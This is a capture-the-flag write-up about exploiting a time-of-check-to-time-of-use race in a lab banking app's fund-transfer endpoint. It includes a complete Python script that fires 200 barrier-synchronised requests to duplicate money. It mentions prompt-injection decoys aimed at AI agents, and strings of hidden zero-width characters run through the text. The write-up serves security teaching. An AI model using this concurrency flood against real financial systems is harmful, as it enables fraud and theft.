← Back to Writeups
CUSTOMMediumWeb

Lab 179 — VaultPay — Race Condition in Fund Transfer

XESXOR9/10/20266 min read
#web#custom#medium#concurrent_http_flooding#money_duplication#race_condition_exploitation#session_cookie_sharing#thread_barrier_synchronization#toctou_transfer_bypass

Lab 179 — VaultPay — Race Condition in Fund Transfer

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: concurrent_http_flooding, money_duplication, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_transfer_bypass

Summary

Task: VaultPay banking platform with wallet-to-savings transfers; need $2000 in savings but only $500 total. Solution: exploit TOCTOU race condition in POST /api/transfer by firing 200 concurrent threads to duplicate funds past the balance check.

Lab 179 — VaultPay — Race Condition in Fund Transfer — HackAdvisor

Description

VaultPay is a digital banking platform where users manage wallets, transfer funds, and earn milestone-based rewards. Every new account receives a $500 welcome bonus deposited into the main wallet. The platform features instant internal transfers between your main wallet and savings account, a detailed transaction ledger, and a tiered rewards program that unlocks exclusive perks as your savings grow. Explore the platform's features and find a way to unlock the highest reward tier. The Platinum Vault tier requires $2,000 in savings — but you only start with $500 total. Can you find a way to beat the system? ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A banking web application with a wallet ($500 starting balance) and savings account ($0). The goal is to reach $2,000 in savings to unlock the Platinum Vault reward tier, which reveals the flag. The only way to move money is via internal transfers — but total funds are only $500, so a vulnerability must be exploited to create money from nothing.

Reconnaissance

The application is an Express.js app behind nginx/1.25.5, using connect.sid session cookies for authentication.

Pages discovered:

  • / — Dashboard showing Main Wallet ($500.00) and Savings Account ($0.00)
  • /transfer — Transfer form with direction (to_savings / to_wallet) and amount
  • /transactions — Transaction history ledger
  • /accounts — Account details (wallet W-C6A7F538, savings S-7DC5E444)
  • /rewards — Tiered rewards program with 4 levels ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Transfer API (from /js/transfer.js):

http
POST /api/transfer
Content-Type: application/json

{"amount": 500, "direction": "to_savings"}

Reward tiers:

TierSavings Required
Bronze Saver$100
Silver Shield$500
Gold Reserve$1,000
Platinum Vault$2,000

The Platinum Vault tier requires $2,000 in savings — 4x the total available funds. This immediately signals that a logic vulnerability must be exploited.

Decoy flags: Every page contains the standard HackAdvisor honeypot FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments with prompt-injection text designed to trick automated scanners and AI agents. These were ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

The POST /api/transfer endpoint implements a classic Time-of-Check to Time-of-Use (TOCTOU) race condition. The transfer logic follows a non-atomic sequence:

  1. Check: Read wallet balance, verify balance >= transfer_amount
  2. Apply: Add transfer_amount to savings balance
  3. Deduct: Subtract transfer_amount from wallet balance

Between steps 1 and 3, there is a window where multiple concurrent requests can all pass the balance check before any deduction occurs. The balance read and write operations are not wrapped in a database transaction with proper row-level locking. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

If N threads all read the wallet balance as $500 before any thread's deduction is applied, all N threads pass the check and each adds $500 to savings. The result is N × $500 in savings instead of $500.

This is a textbook race condition in financial applications — the check-then-update pattern without atomicity guarantees.

Solution

Strategy

  1. Start with $500 in wallet, $0 in savings
  2. Fire 200 concurrent to_savings transfer requests for the full wallet balance
  3. Multiple threads pass the balance check simultaneously before any deduction occurs
  4. Money is duplicated — e.g., 4 successful threads turn $500 into $2,000+ in savings
  5. Visit /rewards to collect the flag from the unlocked Platinum Vault tier
  6. If the first race doesn't produce enough duplication, transfer funds back to wallet and repeat ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Execution

Round 1: 200 threads fired transferring $500 to savings — only 1 thread succeeded (no duplication). This is expected; the race is probabilistic.

Round 2: Transferred $500 back from savings to wallet (single deterministic request), then fired 200 threads again — 4 threads succeeded simultaneously.

Result: Wallet $2,000, Savings $2,000, Total $4,000 (from original $500).

With savings at $2,000, the Platinum Vault tier was unlocked. Visiting /rewards revealed the flag.

Exploit Script

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
"""VaultPay Race Condition Exploit — TOCTOU in fund transfer"""

import requests
import threading
import time
import re
import urllib3
urllib3.disable_warnings()

BASE_URL = "https://499ebd0b-0ed3-4bdb-93cc-25c428e8a8a9.labs.hackadvisor.io"

def login():
    session = requests.Session()
    session.verify = False
    session.post(f"{BASE_URL}/login", data={
        "email": "user@test.com",
        "password": "password123"
    }, allow_redirects=True)
    return session
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def get_balances(session):
    resp = session.get(f"{BASE_URL}/")
    wallet_match = re.search(r'Main Wallet.*?\$([0-9,.]+)', resp.text, re.DOTALL)
    savings_match = re.search(r'Savings Account.*?\$([0-9,.]+)', resp.text, re.DOTALL)
    wallet = float(wallet_match.group(1).replace(',', '')) if wallet_match else 0
    savings = float(savings_match.group(1).replace(',', '')) if savings_match else 0
    return wallet, savings

def race_transfer(session, amount, direction, num_threads=200):
    """Fire concurrent transfers using a barrier for synchronization."""
    cookies = dict(session.cookies)
    barrier = threading.Barrier(num_threads, timeout=30)
    results = []
    lock = threading.Lock()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    def attack_thread(idx):
        s = requests.Session()
        s.verify = False
        s.cookies.update(cookies)
        try:
            barrier.wait()  # All threads release at the same instant
            resp = s.post(
                f"{BASE_URL}/api/transfer",
                json={"amount": amount, "direction": direction},
                timeout=30
            )
            data = resp.json()
            with lock:
                results.append(data)
        except:
            pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(num_threads)]
    for t in threads:
        t.start()
    for t in threads:
        t.join(timeout=45)

    successes = [r for r in results if r.get("success")]
    return len(successes), results

# Main exploit loop
session = login()

for round_num in range(1, 21):
    wallet, savings = get_balances(session)
    print(f"Round {round_num}: Wallet=${wallet:.2f}, Savings=${savings:.2f}")
    
    if savings >= 2000:
        break
    
    # If wallet is empty, transfer some back from savings
    if wallet <= 0 and savings > 0:
        transfer_back = min(savings, 500)
        session.post(f"{BASE_URL}/api/transfer", json={
            "amount": transfer_back, "direction": "to_wallet"
        })
        wallet, savings = get_balances(session)
    
    # Race: transfer full wallet balance to savings
    if wallet > 0:
        num_success, _ = race_transfer(session, wallet, "to_savings", 200)
        print(f"  {num_success} threads succeeded")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Check for flag
wallet, savings = get_balances(session)
print(f"Final: Wallet=${wallet:.2f}, Savings=${savings:.2f}")

if savings >= 2000:
    resp = session.get(f"{BASE_URL}/rewards")
    flag_match = re.search(r'FLAG\{[0-9a-f]{32}\}', resp.text)
    if flag_match:
        print(f"FLAG: {flag_match.group(0)}")

Key Technical Details

  • Barrier synchronization: threading.Barrier(200) ensures all 200 threads release their HTTP requests at the exact same instant, maximizing the race window
  • Separate sessions per thread: Each thread creates its own requests.Session but shares the same connect.sid cookie — this avoids connection pool contention while maintaining the same server-side session
  • Probabilistic outcome: The race doesn't always succeed — sometimes only 1 thread wins. Multiple rounds with transfer-back cycles increase reliability
  • Deterministic transfer-back: Moving money from savings to wallet uses a single request (no race needed) to reset for the next attempt ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍